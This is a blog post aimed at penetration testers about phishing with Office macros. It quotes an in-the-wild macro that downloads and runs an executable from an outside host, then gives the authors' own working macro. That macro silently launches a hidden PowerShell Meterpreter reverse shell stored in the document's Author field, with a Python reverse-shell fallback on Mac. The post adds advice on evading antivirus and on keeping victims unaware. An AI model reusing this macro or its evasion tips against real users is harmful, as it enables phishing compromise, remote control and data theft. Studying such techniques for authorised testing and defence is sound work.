Google

Phishing with Macros and Powershell

Written on:May 22, 2015
Comments are closed

Over the past 6 months, it seems we’ve been experiencing a resurgence of macro-based malware, possibly because it’s such a simple and proven means of delivering a phishing payload to large organizations. If you’re performing a penetration test against an organization and you have reason to believe untrusted macro execution is enabled, they can also be a good means to test user awareness and gain a foothold via social engineering.

Regardless of their popularity, quite often these macro-based exploits fail for a number of reasons. If you’re the target, hopefully it’s because you’ve recognized that untrusted macros are dangerous and have taken the steps to prevent their execution in your environment. If not, you might be finding that reliance on network and desktop security products for protection can be a bit of a gamble.

Sometimes you get lucky and these exploits fail due to simple coding errors. Take for example the following heavily obfuscated example I came across recently:

macro5

In order for this obfuscated macro to work, the above variables are parsed and the values extracted using the InStr() function to generate the destination URL from which to download the malicious executable payload. In the portion of the macro highlighted below, the value used as parameter string2 is derived from the Chr() function. Unfortunately, the value passed to that function  (joHNknVFXmrvEA) is incorrectly calculated, the resulting call to InStr() returns a null, and the macro exploit fails.

macro4

A little tweak to the code and we can see where the macro was intending to download the malicious payload from:

macro3

Of course relying on poorly written macros is not a good security control and if for some reason you allow untrusted macros to run, you are at the mercy of your other security protections. A while back, my coworker and I analyzed another macro-based Word exploit that we saw in the wild and the approach the author used was simple and pretty typical – download and run a malicious executable on the victim’s workstations, sans any real obfuscation.

Here’s an abridged view of the macro:

Sub Auto_Open()
Call DownloadFile("33", "33.EXE")
End Sub

Sub AutoOpen()
Call DownloadFile("33", "33.EXE")
End Sub

Function DownloadFile(ByVal URL As String, ByVal SaveName As String, Optional SavePath As String = "temP", Optional RunAfterDownload As Boolean = True, Optional RunHide As Boolean = False)
    On Error Resume Next
    Err.Clear
 
    If 1 <> 3 And 1 <> 3 And 1 <> 3 And 1 <> 3 And 1 <> 3 And 1 <> 3 And 1 <> 3 And 1 <> 3 Then: Set ssssssssssssssssssssssss = CreateObject("Microsoft.XMLHTTP")

    ssssssssssssssssssssssss.Open "GET", "http://e-trebol.com/404/ss.exe", False

    '...junk...

    ssssssssssssssssssssssss.send

    '...junk...

    ssssssssssssssssssssssss.getAllResponseHeaders FullSavePath = Environ(SavePath) & "\" & SaveName 
    If 1 <> 3 And 1 <> 3 And 1 <> 3 And 1 <> 3 And 1 <> 3 And 1 <> 3 And 1 <> 3 And 1 <> 3 And 1 <> 3 And 1 <> 3 Then: Set ffffffffffffffffffffffff = CreateObject("ADODB.Stream") 
    ffffffffffffffffffffffff.Open 

    '...junk... 

    ffffffffffffffffffffffff.Type = 1 

    '...junk... 

    ffffffffffffffffffffffff.Write 
    ssssssssssssssssssssssss.responseBody 

    '...junk... 

    ffffffffffffffffffffffff.SaveToFile FullSavePath, 2 
    If Err Then 
        DownloadFile = False 
    Else 
        If RunAfterDownload = True Then 
            If RunHide = False Then: CreateObject("WScript.Shell").Run FullSavePath 
        End If 
        DownloadFile = True 
    End If 
Application.DisplayAlerts = False 
Application.Quit 
End Function

It’s easy to see what’s happening in the above code…the macro attempts to download a file called 33.exe (containing some exploit code), save it to the user’s temp directory, and execute it.

While really basic in concept, phishing attempts like these can be effective if you allow untrusted macro execution (either via prompt or automatically). With this example, if macros were enabled, the code would execute and the Word document would immediately close. However, if the target didn’t have macros enabled, the Word document would remain open and provided detailed instructions (with screenshots) on how to enable macros as a last ditch effort to trick the recipient.

Aside from macros not being enabled (we will assume they are if you’re intentionally using a macro-based exploit), the problem with the above approach if you’re using them in a penetration test is that it can easily be detected for a couple of reasons.

First, although the document itself does not contain the executable payload, the macro signature is enough to trip most exchange-based AV (stripping the attachment before the target user receives the email). That was easy enough for us to fix in the above example…we simply broke up the macro code into smaller functions and moved some of the hard-coded string values to local variables.

Even after bypassing any Exchange-based AV and successfully delivering the attachment to the target, you still have to deal with AV detection for the downloaded executable. In many large organizations this means not only bypassing client-side AV once it’s downloaded, which is relatively easy (see here for more), but also firewall and web proxy AV, which could prevent the download altogether. Sure it can be done, but if you’re using a macro-based exploit in a penetration test, why try and tackle AV bypass if you don’t have to?

Instead I figured why not remove the executable entirely and harness the power of Powershell? For our demo we went with a simple Meterpreter reverse TCP shell, generated with the handy Unicorn tool (by Dave Kennedy at TrustedSec).

Rather than wrestle with VBS and it quirky string length limits, we can embed the Powershell script right into the Document properties of the Word file (in this case, the Author field) and just reference the value via a local function variable in our macro.

macro1

We don’t want the Powershell window to display for the end user at all, hence the -nologo, -win hidden, etc.

Now, it’s just a matter of updating the macro to run the powershell:

Dim ps As String
ps = ActiveDocument.BuiltInDocumentProperties("Author").Value
Dim Obj As Object
Set Obj = CreateObject("WScript.Shell")
Obj.Run ps, 0

Simple, right?

This works fine for Windows clients but we couldn’t forget about our Mac users so just for fun we decided to implement a simple python reverse shell for anyone running MS Word on a Mac.

Here’s the combined code:

Sub Auto_Open()
Call winshell
End Sub

Sub AutoOpen()
Call winshell
End Sub

Function winshell() As Object
    On Error GoTo ErrorHandler
    Err.Clear  
    
    ' get / execute powershell command from doc property
    Dim ps As String
    ps = ActiveDocument.BuiltInDocumentProperties("Author").Value
    Dim Obj As Object
    Set Obj = CreateObject("WScript.Shell")
    Obj.Run ps, 0

' winshell failed, try macshell    
ErrorHandler:
    macshell

Application.DisplayAlerts = False
End Function

Function macshell()
    On Error Resume Next
    Err.Clear
    
    scriptToRun = "do shell script ""python -c 'import urllib2,socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect((\""192.168.1.1\"",4321)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\""/bin/sh\"",\""-i\""]);' &"""
    res = MacScript(scriptToRun)
End Function

You can see that this is not at all a sophisticated piece of code and there is no effort to detect the recipient’s OS. Instead, we first attempt the Windows shell function and if that doesn’t work we revert to the Mac function. If the latter fails, the exploit simply fails quietly and the user is none-the-wiser.

You may also notice that unlike the first example where the author chose to close the document, we felt that that was too much of an indicator to the user that something was amiss so we made sure to allow the user to close it on their own (allowing you to add meaningful content and further legitimize the attachment). Since the shell is executed via a separate Powershell (or python) process, it is not dependent upon the Word document remaining open anyway.

Unlike the original version that has the added detection risk of downloading and running a malicious executable, this approach is self-contained and more likely to bypass AV detection. That said, it’s not without its flaws. First, if you truly want to target Mac users, you have to consider that you’re more likely to get a macro prompt which could tip off the intended target:

macro2

Second, using a standard Metasploit payload can still trigger other security protections such as client- or network-based IPS, so additional modification may be required depending on your target test environment. If you’re targeting users with Administrator privileges and you are familiar with the target test environment you might also include some macro instructions to disable the workstation AV client which we also tested with success.

This is by no means a perfect approach, but if you’re set on using an MS Office macro-based phishing exploit for your next penetration test, you might consider an embedded Powershell script as your initial payload delivery to avoid the hassles of AV bypass.

A special thanks to my colleague Andy (@Blackjack988) for helping me create and test this PoC.

Until next time,

Mike

20 Comments add one